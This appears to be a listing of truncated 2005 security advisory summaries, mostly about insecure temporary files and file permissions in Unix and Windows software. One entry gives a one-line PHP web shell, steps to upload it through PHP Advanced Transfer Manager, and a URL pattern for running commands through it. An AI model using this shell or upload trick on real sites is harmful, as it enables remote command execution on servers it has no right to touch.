[SA18230] Sun Solaris PC NetLink Insecure File Handling Vulnerability

TITLE: Sun Solaris PC NetLink Insecure File Handling Vulnerability SECUNIA ADVISORY ID: SA18230 VERIFY ADVISORY: http://secunia.com/advisories/18230/ CRITICAL: Less critical IMPACT: Privilege escalation WHERE: Local system SOFTWARE: Sun Solaris PC Netlink 2.x http://secunia.com/product/6667/...

iDefense Security Advisory 12.14.05: Trend Micro PC-Cillin Internet Security Insecure File Permission Vulnerability

Trend Micro PC-Cillin Internet Security Insecure File Permission Vulnerability iDefense Security Advisory 12.14.05 www.idefense.com/application/poi/display?id=351&type=vulnerabilities December 14, 2005 I. BACKGROUND Trend Micro PC-Cillin Internet Security is antivirus protection software for home...

[SECURITY] [DSA 907-1] New ipmenu packages fix insecure temporary file creation

-------------------------------------------------------------------------- Debian Security Advisory DSA 907-1 [email protected] http://www.debian.org/security/ Martin Schulze November 23rd, 2005 http://www.debian.org/security/faq -...

uplod phpshell in PHP Advanced Transfer Manager

uplod phpshell in PHP Advanced Transfer Manager one save as the code : -------- pre ? passthru$GET'sQl'; ? -------- file save as sQl.php.ns now upload in the PHP Advanced Transfer Manager end the upload go to www.site.com/file upload name/files/sQl.php.ns?sQl=command linux search google : PHP...

flexbackup default config insecure temporary file creation

flexbackup default config insecure temporary file creation Vendor: http://flexbackup.sourceforge.net/ Advisory: http://www.zataz.net/adviso/flexbackup-09192005.txt Vendor informed: yes Exploit available: yes Impact : low Exploitation : low The vulnerabilities ared due to insecure temporary files...

RHEL 3 : net-snmp (RHSA-2005:373)

Updated net-snmp packages that fix two security issues and various bugs are now available. This update has been rated as having low security impact by the Red Hat Security Response Team. SNMP Simple Network Management Protocol is a protocol used for network management. A denial of service bug was...

[SECURITY] [DSA 827-1] New backupninja packages fix insecure temporary file

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -------------------------------------------------------------------------- Debian Security Advisory DSA 827-1 [email protected] http://www.debian.org/security/ Michael Stone September 29th, 2005 http://www.debian.org/security/faq -...

[SECURITY] [DSA 814-1] New lm-sensors packages fix insecure temporary file

-------------------------------------------------------------------------- Debian Security Advisory DSA 814-1 [email protected] http://www.debian.org/security/ Martin Schulze September 15th, 2005 http://www.debian.org/security/faq -...

DTSA-17-1 lm-sensors - insecure temporary file

Bulletin has no description...

[SA16541] Adobe Version Cue VCNative Privilege Escalation

---------------------------------------------------------------------- Bist Du interessiert an einem neuen Job in IT-Sicherheit? Secunia hat zwei freie Stellen als Junior und Senior Spezialist in IT- Sicherheit: http://secunia.com/secuniavacancies/...

KDE langen2kvtml symbolic links problem

Insecure temporary file creation...

lantronixRoot.txt

/ $ An open security advisory 11 - Lantronix SCS Local Root Exploits 1: Bug Researcher: c0ntex - c0ntexbatgmail.com || [email protected] 2: Bug Released: August 05 2005 3: Bug Impact Rate: Hi 4: Bug Scope Rate: Local $ This advisory and/or proof of concept code must not be used for...

CVE-2005-2437

Website Baker Project does not properly verify the file extensions of uploaded files, which allows remote attackers to upload and execute arbitrary PHP code...

Multiple vulnerabilities in libgadu and ekg package

Multiple vulnerabilities have been found in libgadu, a library for handling Gadu-Gadu instant messaging protocol. It is a part of ekg, a Gadu-Gadu client, but is widely used in other clients. Also some of the user contributed scripts were found to behave in an insecure manner. Bugs fixed in...

CVE-2005-1850

Certain contributed scripts for ekg Gadu Gadu client 1.5 and earlier create temporary files insecurely, with unknown impact and attack vectors, a different vulnerability than CVE-2005-1916...

[Full-disclosure] [ZH2005-16SA] Insecure temporary file creation in Skype for Linux

ZH2005-16SA Insecure temporary file creation in Skype for Linux Application: Skype for Linux Version affected: = 1.1.0.20 Vendor website : http://www.skype.com Author: Giovanni Delvecchio e-mail: [email protected] About Skype ======== Skype is a free program that uses the latest P2P technolog...

Fedora Core 3 : net-snmp-5.2.1.2-FC3.1 (2005-562)

Wed Jul 13 2005 Radek Vokal - CVE-2005-2177 new upstream version fixing DoS 162908 - CVE-2005-1740 net-snmp insecure temporary file usage 158770 - session free fixed, agentx modules build fine 157851 - report gigabit Ethernet speeds using Ethtool 152480 Note that Tenable Network Security has...

[SA15989] Backup Manager Unspecified Insecure Temporary File Creation

---------------------------------------------------------------------- Bist Du interessiert an einem neuen Job in IT-Sicherheit? Secunia hat zwei freie Stellen als Junior und Senior Spezialist in IT- Sicherheit: http://secunia.com/secuniavacancies/...

eRoom 6.0 PlugIn - Insecure File Download Handling

source: https://www.securityfocus.com/bid/14176/info The eRoom plug-in is prone to an insecure file download handling vulnerability. The issue is due to a design fault, where files that are shared by users are apparently passed to default file handlers when downloaded. This can occur without user...

GLSA-200506-05 : SilverCity: Insecure file permissions

The remote host is affected by the vulnerability described in GLSA-200506-05 SilverCity: Insecure file permissions The SilverCity package installs three executable files with insecure permissions. Impact : A local attacker could modify the executable files, causing arbitrary code to be executed...